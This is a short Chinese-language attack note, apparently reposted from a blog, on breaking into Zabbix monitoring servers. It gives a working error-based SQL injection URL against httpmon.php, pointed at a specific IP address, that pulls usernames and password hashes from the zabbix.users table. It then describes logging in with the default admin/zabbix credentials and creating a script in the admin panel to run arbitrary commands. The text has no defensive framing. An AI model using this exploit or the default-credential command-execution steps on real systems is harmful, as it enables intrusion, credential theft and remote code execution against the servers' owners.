1.对于低版本的可用下列exp直接打到用户
http://119.29.48.232/zabbix/httpmon.php?applications=2 and (select 1 from (select count(*),concat((select(select concat(cast(concat(alias,0x7e,passwd,0x7e) as char),0x7e)) from zabbix.users LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
2.对于高一点的版本可猜弱口令 admin zabbix 进入后在 管理---->脚本----->创建脚本
名称处随便填，命令为要执行的命令
3.进入 监测中---->触发器----->选择任何即可过滤出刚刚放入的命令脚本
原文：http://www.cnblogs.com/Dleo/p/5490362.html